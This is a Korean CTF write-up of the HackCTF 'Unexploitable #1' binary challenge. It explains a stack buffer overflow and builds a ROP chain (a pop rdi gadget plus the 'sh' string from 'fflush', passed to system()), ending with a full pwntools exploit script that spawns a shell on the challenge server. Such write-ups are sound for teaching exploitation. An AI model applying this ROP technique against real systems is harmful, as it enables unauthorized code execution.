ii4gsp
HackCTF - Unexploitable #1 본문
바이너리를 IDA로 열어보면 fgets() 함수로 s에 64byte만큼 입력을 받는다.
즉, 버퍼 오버플로우가 일어난다.
s ~ ret = 24
gift() 함수에서 system()함수를 호출한다.
system() 함수의 인자로 rdi 레지스터가 사용된다.
ROPgadget을 이용하여 pop rdi ; ret를 구해주자.
pop rdi ; ret = 0x00000000004007d3
.LOAD 영역을 보면 fflush() 함수의 문자열이 보인다.
fflush의 sh를 system() 함수의 인자로 넘겨주면 쉘이 획득할 수 있다.
'sh' = 0x00000000004003BF
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3023)
e = ELF('/mnt/c/CTF/Unexploitable_1')
system = e.plt['system']
payload = ''
payload += '\x90' * 0x18
payload += p64(0x00000000004007d3) # pop rdi ; ret
payload += p64(0x00000000004003BF) # sh
payload += p64(system) # system function call
r.sendline(payload)
r.interactive()
익스플로잇 코드를 작성해주자.
'시스템 해킹 > HackCTF' 카테고리의 다른 글
HackCTF - RTC (0) | 2020.05.05 |
---|---|
HackCTF - SysROP (0) | 2020.05.05 |
HackCTF - You are silver (0) | 2020.03.05 |
HackCTF - ROP (0) | 2020.02.21 |
HackCTF - UAF (0) | 2020.02.19 |
Comments